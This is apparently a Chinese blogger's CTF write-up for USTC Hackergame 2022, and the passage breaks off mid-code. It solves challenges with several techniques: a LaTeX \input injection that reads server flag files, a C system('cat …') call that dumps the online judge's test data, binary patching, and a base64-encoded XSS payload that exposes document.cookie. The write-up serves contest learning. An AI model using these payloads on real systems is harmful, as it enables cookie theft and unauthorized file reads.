&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;所以只需要在 URL 加上 &lt;code&gt;result=2022&lt;/code&gt; 参数即可：&lt;a href=&#34;http://202.38.93.111:12022/?result=2022&#34;&gt;http://202.38.93.111:12022/?result=2022&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;得到Flag：&lt;code&gt;flag{HappyHacking2022-9e5a1f7364}&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;猫咪问答喵&#34;&gt;猫咪问答喵&lt;/h2&gt;
&lt;p&gt;只回答出了3道题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;blockquote&gt;
&lt;p&gt;中国科学技术大学 NEBULA 战队（USTC NEBULA）是于何时成立的喵？&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Google 搜索 &lt;a href=&#34;https://www.google.com/search?q=USTC+NEBULA&amp;amp;sourceid=chrome&amp;amp;ie=UTF-8&#34;&gt;&lt;code&gt;USTC NEBULA&lt;/code&gt;&lt;/a&gt;，可以找到这个页面：&lt;a href=&#34;https://cybersec.ustc.edu.cn/2022/0826/c23847a565848/page.htm&#34;&gt;https://cybersec.ustc.edu.cn/2022/0826/c23847a565848/page.htm&lt;/a&gt;，其中有这么一段话：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;中国科学技术大学“星云战队（Nebula）”成立于2017年3月&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;所以答案就是 &lt;code&gt;2017-03&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;blockquote&gt;
&lt;p&gt;2022 年 9 月，中国科学技术大学学生 Linux 用户协会（LUG @ USTC）在科大校内承办了软件自由日活动。除了专注于自由撸猫的主会场之外，还有一些和技术相关的分会场（如闪电演讲 Lightning Talk）。其中在第一个闪电演讲主题里，主讲人于 slides 中展示了一张在 GNOME Wayland 下使用 Wayland 后端会出现显示问题的 KDE 程序截图，请问这个 KDE 程序的名字是什么？&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>萌新第一次参加 CTF 比赛，应该也是最后一次参加这类比赛了，正好排在第 123 名，挺好的数字，试着写写 Write UP 吧！</p>
<p><img loading="lazy" src="/hackergame-2022-write-up/lgiki.png"></p>
<p>官方 Write UP 在：<a href="https://github.com/USTC-Hackergame/hackergame2022-writeups">https://github.com/USTC-Hackergame/hackergame2022-writeups</a></p>
<h1 id="write-up">Write UP</h1>
<h2 id="签到">签到</h2>
<p>题目打开是一个网页，要求在2秒、1秒、0.1、0.0秒的时间限制内，在网页的四个手写框内分别写上&quot;2&quot;、&ldquo;0&rdquo;、&ldquo;2&rdquo;、&ldquo;2&quot;几个字符，前两个字符还有可能在限制的时间内完成，最后两个字符根本不可能在给定时间内写出来，所以直接右键 View Source ，看看网页的 JavaScript 代码，发现这几行：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nx">submit</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kd">let</span> <span class="nx">result</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">digitIndex</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">digitIndex</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">;</span> <span class="nx">digitIndex</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kr">const</span> <span class="nx">digit</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">digits</span><span class="p">[</span><span class="nx">digitIndex</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">        <span class="nx">result</span> <span class="o">=</span> <span class="nx">result</span> <span class="o">+</span> <span class="nx">digit</span><span class="p">.</span><span class="nx">result</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nb">window</span><span class="p">.</span><span class="nx">location</span> <span class="o">=</span> <span class="s2">&#34;?result=&#34;</span> <span class="o">+</span> <span class="nx">result</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span>
</span></span></code></pre></div><p>所以只需要在 URL 加上 <code>result=2022</code> 参数即可：<a href="http://202.38.93.111:12022/?result=2022">http://202.38.93.111:12022/?result=2022</a></p>
<p>得到Flag：<code>flag{HappyHacking2022-9e5a1f7364}</code></p>
<h2 id="猫咪问答喵">猫咪问答喵</h2>
<p>只回答出了3道题：</p>
<ol>
<li>
<blockquote>
<p>中国科学技术大学 NEBULA 战队（USTC NEBULA）是于何时成立的喵？</p></blockquote>
<p>Google 搜索 <a href="https://www.google.com/search?q=USTC+NEBULA&amp;sourceid=chrome&amp;ie=UTF-8"><code>USTC NEBULA</code></a>，可以找到这个页面：<a href="https://cybersec.ustc.edu.cn/2022/0826/c23847a565848/page.htm">https://cybersec.ustc.edu.cn/2022/0826/c23847a565848/page.htm</a>，其中有这么一段话：</p>
<blockquote>
<p>中国科学技术大学“星云战队（Nebula）”成立于2017年3月</p></blockquote>
<p>所以答案就是 <code>2017-03</code></p>
</li>
<li>
<blockquote>
<p>2022 年 9 月，中国科学技术大学学生 Linux 用户协会（LUG @ USTC）在科大校内承办了软件自由日活动。除了专注于自由撸猫的主会场之外，还有一些和技术相关的分会场（如闪电演讲 Lightning Talk）。其中在第一个闪电演讲主题里，主讲人于 slides 中展示了一张在 GNOME Wayland 下使用 Wayland 后端会出现显示问题的 KDE 程序截图，请问这个 KDE 程序的名字是什么？</p></blockquote>
<p>在 LUG 官网找到软件自由日活动链接：<a href="https://lug.ustc.edu.cn/wiki/lug/events/sfd/">https://lug.ustc.edu.cn/wiki/lug/events/sfd/</a>，里面可以下载到每位演讲者的 slide，找到<a href="https://ftp.lug.ustc.edu.cn/%E6%B4%BB%E5%8A%A8/2022.9.20_%E8%BD%AF%E4%BB%B6%E8%87%AA%E7%94%B1%E6%97%A5/slides/gnome-wayland-user-perspective.pdf">对应的 slide 链接</a>，找到对应页面，就可以找到题目中所说的 KDE 程序名字 <code>Kdenlive</code>：</p>
<p><img loading="lazy" src="/hackergame-2022-write-up/kde.png"></p>
</li>
<li>
<blockquote>
<p>22 年坚持，小 C 仍然使用着一台他从小用到大的 Windows 2000 计算机。那么，在不变更系统配置和程序代码的前提下，Firefox 浏览器能在 Windows 2000 下运行的最后一个大版本号是多少？</p></blockquote>
<p>Google 搜索 <a href="https://www.google.com/search?q=Windows+2000+firefox&amp;oq=Windows+2000+firefox&amp;aqs=chrome..69i57.1109j0j1&amp;sourceid=chrome&amp;ie=UTF-8"><code>Windows 2000 firefox</code></a>，找到 <a href="https://support.mozilla.org/bm/questions/1052888">https://support.mozilla.org/bm/questions/1052888</a>，里面有一句话：</p>
<blockquote>
<p>Firefox 12.0 was the last version of Firefox that worked on Windows 2000.</p></blockquote>
<p>得到答案：<code>12</code></p>
</li>
</ol>
<p>得到答对 3 题的 Flag：<code>flag{meowexammeow_772b498346fe0925_686d771898}</code></p>
<h2 id="家目录里的秘密">家目录里的秘密</h2>
<p>将题目文件下载下来，解压之，得到一个文件夹，用 VSCODE 打开，直接搜索 <code>flag</code>：</p>
<p><img loading="lazy" src="/hackergame-2022-write-up/home.png"></p>
<p>即可得到第一个 Flag：<code>flag{finding_everything_through_vscode_config_file_932rjdakd}</code></p>
<p>并找到了 rclone.conf 文件，内容为：</p>
<pre tabindex="0"><code>[flag2]
type = ftp
host = ftp.example.com
user = user
pass = tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ
</code></pre><p>盲猜 flag 藏在 <code>pass</code> 字段中，通过 Google 找到一个 Golang 程序用于还原 rclone 的 pass，直接打开 <a href="https://play.golang.org/p/IcRYDip3PnE">https://play.golang.org/p/IcRYDip3PnE</a>，将 <code>pass</code> 字段的内容粘贴进去并运行，即可得到第二个 Flag：<code>flag{get_rclone_password_from_config!_2oi3dz1}</code></p>
<h2 id="heilang">HeiLang</h2>
<blockquote>
<p>来自 Heicore 社区的新一代编程语言 HeiLang，基于第三代大蟒蛇语言，但是抛弃了原有的难以理解的 <code>|</code> 运算，升级为了更加先进的语法，用 <code>A[x | y | z] = t</code> 来表示之前复杂的 <code>A[x] = t; A[y] = t; A[z] = t</code>。</p>
<p>作为一个编程爱好者，我觉得实在是太酷了，很符合我对未来编程语言的想象，科技并带着趣味。</p></blockquote>
<p>写一个 Python 程序将所有 <code>A[x | y | z] = t</code> 表达式替换为 <code>A[x] = t; A[y] = t; A[z] = t</code> ，然后运行即可得到 Flag：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="s1">&#39;&#39;&#39;a[1225 | 2381 | 2956 | 3380 | 3441 | 4073 | 4090 | 4439 | 5883 | 6253 | 7683 | 8231 | 9933] = 978
</span></span></span><span class="line"><span class="cl"><span class="s1">...这里省略...
</span></span></span><span class="line"><span class="cl"><span class="s1">a[92 | 377 | 384 | 493 | 1237 | 2479 | 4299 | 6702 | 6819 | 7761 | 7822 | 8777 | 8779] = 581
</span></span></span><span class="line"><span class="cl"><span class="s1">&#39;&#39;&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">re</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">regex</span> <span class="o">=</span> <span class="sa">r</span><span class="s2">&#34;(\d+)&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">result</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">data</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">line</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">continue</span>
</span></span><span class="line"><span class="cl">    <span class="n">matches</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">finditer</span><span class="p">(</span><span class="n">regex</span><span class="p">,</span> <span class="n">line</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">MULTILINE</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">line_nums</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">matchNum</span><span class="p">,</span> <span class="k">match</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">matches</span><span class="p">,</span> <span class="n">start</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">line_nums</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="k">match</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="n">line_result</span> <span class="o">=</span> <span class="p">[</span><span class="sa">f</span><span class="s1">&#39;a[</span><span class="si">{</span><span class="n">x</span><span class="si">}</span><span class="s1">]&#39;</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">line_nums</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]]</span>
</span></span><span class="line"><span class="cl">    <span class="n">line_result</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">line_nums</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">    <span class="n">result</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s1">&#39; = &#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">line_result</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">result</span><span class="p">))</span>
</span></span></code></pre></div><p>得到 Flag 为：<code>flag{6d9ad6e9a6268d96-5931633fd82184ae}</code></p>
<h2 id="xcaptcha">Xcaptcha</h2>
<p>写代码，在规定时间内答出验证码并提交即可：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">re</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">regex</span> <span class="o">=</span> <span class="sa">r</span><span class="s2">&#34;(\d+)\+(\d+)&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">session</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">session</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="sa">r</span><span class="s1">&#39;http://202.38.93.111:10047/?token=&lt;YOUR_TOKEN_HERE&gt;&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">resp</span> <span class="o">=</span> <span class="n">session</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">&#34;http://202.38.93.111:10047/xcaptcha&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl"><span class="n">matches</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">finditer</span><span class="p">(</span><span class="n">regex</span><span class="p">,</span> <span class="n">resp</span><span class="o">.</span><span class="n">text</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">MULTILINE</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">matchNum</span><span class="p">,</span> <span class="k">match</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">matches</span><span class="p">,</span> <span class="n">start</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">result</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="k">match</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span> <span class="o">+</span> <span class="nb">int</span><span class="p">(</span><span class="k">match</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span><span class="p">[</span><span class="sa">f</span><span class="s1">&#39;captcha</span><span class="si">{</span><span class="n">matchNum</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">result</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">x</span> <span class="o">=</span> <span class="n">session</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="s2">&#34;http://202.38.93.111:10047/xcaptcha&#34;</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">x</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
</span></span></code></pre></div><p>得到 Flag 为：<code>flag{head1E55_br0w5er_and_ReQuEsTs_areallyour_FR1ENd_f93546617a}</code></p>
<h2 id="旅行照片-20">旅行照片 2.0</h2>
<p>查看图片 EXIF 信息，第一题就解决了，得到 Flag：<code>flag{1f_y0u_d0NT_w4nt_shOw_theSe_th3n_w1Pe_EXlF}</code></p>
<h2 id="latex-机器人">$\LaTeX$ 机器人</h2>
<p>想办法通过 $\LaTeX$ 语法读取 <code>/flag1</code> 和 <code>/flag2</code> 两个文件即可，区别在于 <code>/flag1</code> 文件只有常规字符，而 <code>/flag2</code> 含有下划线和井号，所以需要对字符转义</p>
<p>读取 <code>/flag1</code>：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-latex" data-lang="latex"><span class="line"><span class="cl"><span class="k">\input</span><span class="nb">{</span>/flag1<span class="nb">}</span>
</span></span></code></pre></div><p>得到 Flag：<code>flag{becAr3fu11dUd3bc60f27f02}</code></p>
<p>读取 <code>/flag2</code>：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-latex" data-lang="latex"><span class="line"><span class="cl"><span class="k">\catcode</span>`<span class="k">\#</span>=12 <span class="k">\catcode</span> `<span class="k">\_</span>=12 <span class="k">\input</span><span class="nb">{</span>/flag2<span class="nb">}</span>
</span></span></code></pre></div><p>得到 Flag：<code>flag{latex_bec_0_m##es_co__#ol_7bb20f7d63}</code></p>
<h2 id="flag-的痕迹">Flag 的痕迹</h2>
<p>URL 中加入 <code>do=diff</code> 参数即可：<a href="http://202.38.93.111:15004/doku.php?id=start&amp;do=diff">http://202.38.93.111:15004/doku.php?id=start&amp;do=diff</a></p>
<p>Flag 为：<code>flag{d1gandFInD_d0kuw1k1_unexpectEd_API}</code></p>
<h2 id="安全的在线测评">安全的在线测评</h2>
<p>提供了判题脚本，所以从判题脚本入手，看到测试数据保存在 <code>./data/static.out</code> 中，所以直接 <code>system(&quot;cat ./data/static.out&quot;)</code> 即可得到第一个 Flag：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">system</span><span class="p">(</span><span class="s">&#34;cat ./data/static.out&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Flag 为：<code>flag{the_compiler_is_my_eyes_bff9de2537}</code></p>
<h2 id="线路板">线路板</h2>
<p>题目文件下载下来是 Gerber 压缩包，随便找一个 <a href="https://gerber.ucamco.com/">Gerber Online Viewer</a>，切换一下模式就能找到 Flag 啦：</p>
<p><img loading="lazy" src="/hackergame-2022-write-up/gerber.png"></p>
<h2 id="flag-自动机">Flag 自动机</h2>
<p>题目下载下来是一个 exe 程序，但 “狠心夺取” 按钮只要鼠标移上去就会自动变换位置，所以得想办法点击到该按钮。</p>
<p>这题直接用 Cheat Engine + Ollydbg 搞定了，先想办法找到修改 “狠心夺取” 按钮位置的语句，然后 NOP 填充，这样就可以点击了，但是点击之后提示 “不是本机超级管理员”：</p>
<p><img loading="lazy" src="/hackergame-2022-write-up/flag_1.png"></p>
<p>所以应该还有一些判断，所以用 Ollydbg 搜索了这个字符串对应的代码，发现有一个 je 的跳转，je 后则是成功获取 flag 的提示，所以在 Cheat Engine 里面把对应位置的 je 更改为 jne 即可得到 flag：</p>
<p><img loading="lazy" src="/hackergame-2022-write-up/flag_2.png"></p>
<p>Flag 为：<code>flag{Y0u_rea1ly_kn0w_Win32API_89ab91ac0c}</code></p>
<h2 id="微积分计算小练习">微积分计算小练习</h2>
<p>考察 XSS ，题目给出了用于提交练习成绩的网站的后端代码，看到是使用一个 headless 浏览器访问页面，然后会先把 flag 放入页面的 cookie 里，之后通过 <code>document.querySelector</code> 找到对应的结果输出：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">with</span> <span class="n">webdriver</span><span class="o">.</span><span class="n">Chrome</span><span class="p">(</span><span class="n">options</span><span class="o">=</span><span class="n">options</span><span class="p">)</span> <span class="k">as</span> <span class="n">driver</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">ua</span> <span class="o">=</span> <span class="n">driver</span><span class="o">.</span><span class="n">execute_script</span><span class="p">(</span><span class="s1">&#39;return navigator.userAgent&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s1">&#39; I am using&#39;</span><span class="p">,</span> <span class="n">ua</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;- Logining...&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">driver</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">LOGIN_URL</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s1">&#39; Putting secret flag...&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">driver</span><span class="o">.</span><span class="n">execute_script</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;document.cookie=&#34;flag=</span><span class="si">{</span><span class="n">FLAG</span><span class="si">}</span><span class="s1">&#34;&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;- Now browsing your quiz result...&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">driver</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">greeting</span> <span class="o">=</span> <span class="n">driver</span><span class="o">.</span><span class="n">execute_script</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;return document.querySelector(&#39;#greeting&#39;).textContent&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">score</span> <span class="o">=</span> <span class="n">driver</span><span class="o">.</span><span class="n">execute_script</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;return document.querySelector(&#39;#score&#39;).textContent&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="n">selenium</span><span class="o">.</span><span class="n">common</span><span class="o">.</span><span class="n">exceptions</span><span class="o">.</span><span class="n">JavascriptException</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;JavaScript Error: Did you give me correct URL?&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;OK. Now I know that:&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">greeting</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">score</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;- Thank you for joining my quiz!&#39;</span><span class="p">)</span>
</span></span></code></pre></div><p>所以很简单，就是想办法让 <code>#greeting</code> 或 <code>#score</code> 显示为 <code>document.cookie</code> 即可，那么就来看看分数页面的源代码：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">queryString</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">search</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">urlParams</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URLSearchParams</span><span class="p">(</span><span class="nx">queryString</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">result</span> <span class="o">=</span> <span class="nx">urlParams</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">&#39;result&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">b64decode</span> <span class="o">=</span> <span class="nx">atob</span><span class="p">(</span><span class="nx">result</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">colon</span> <span class="o">=</span> <span class="nx">b64decode</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="s2">&#34;:&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">score</span> <span class="o">=</span> <span class="nx">b64decode</span><span class="p">.</span><span class="nx">substring</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nx">colon</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">username</span> <span class="o">=</span> <span class="nx">b64decode</span><span class="p">.</span><span class="nx">substring</span><span class="p">(</span><span class="nx">colon</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="s2">&#34;#greeting&#34;</span><span class="p">).</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="s2">&#34;您好，&#34;</span> <span class="o">+</span> <span class="nx">username</span> <span class="o">+</span> <span class="s2">&#34;！&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="s2">&#34;#score&#34;</span><span class="p">).</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="s2">&#34;您在练习中获得的分数为 &lt;b&gt;&#34;</span> <span class="o">+</span> <span class="nx">score</span> <span class="o">+</span> <span class="s2">&#34;&lt;/b&gt;/100。&#34;</span><span class="p">;</span>
</span></span></code></pre></div><p>看到本质上就是把 URL 中的 参数，base64decode 之后，替换内容，这里就可以构造XSS了：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="o">&lt;</span><span class="nx">img</span> <span class="nx">src</span><span class="o">=</span><span class="nx">a</span> <span class="nx">onerror</span><span class="o">=</span><span class="s1">&#39;document.querySelector(&#34;#greeting&#34;).innerHTML = document.cookie&#39;</span><span class="o">&gt;:</span><span class="nx">LGiki</span>
</span></span></code></pre></div><p>base64encode 一下，得到：</p>
<pre tabindex="0"><code>PGltZyBzcmM9YSBvbmVycm9yPSdkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIjZ3JlZXRpbmciKS5pbm5lckhUTUwgPSBkb2N1bWVudC5jb29raWUnPjpMR2lraQ==
</code></pre><p>所以最终的链接为：</p>
<pre tabindex="0"><code>http://202.38.93.111:10056/share?result=PGltZyBzcmM9YSBvbmVycm9yPSdkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIjZ3JlZXRpbmciKS5pbm5lckhUTUwgPSBkb2N1bWVudC5jb29raWUnPjpMR2lraQ==
</code></pre><p>提交到提交练习成绩的网站上，得到 Flag：<code>flag=flag{xS5_1OI_is_N0t_SOHARD_f8a6455171}</code></p>
<h2 id="杯窗鹅影">杯窗鹅影</h2>
<p>这题是在 wine 下读文件，提交一个 exe 程序，能在 wine 下成功读取 <code>/flag1</code> 文件即可。</p>
<p>对 wine 没任何研究，也不知道怎么做，所以直接写了段 Golang：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">package</span> <span class="nx">main</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">	<span class="s">&#34;fmt&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="s">&#34;io/ioutil&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="s">&#34;log&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">func</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="nx">data</span><span class="p">,</span> <span class="nx">err</span> <span class="o">:=</span> <span class="nx">ioutil</span><span class="p">.</span><span class="nf">ReadFile</span><span class="p">(</span><span class="s">&#34;/flag1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="nx">err</span> <span class="o">!=</span> <span class="kc">nil</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nx">log</span><span class="p">.</span><span class="nf">Fatalln</span><span class="p">(</span><span class="nx">err</span><span class="p">)</span>
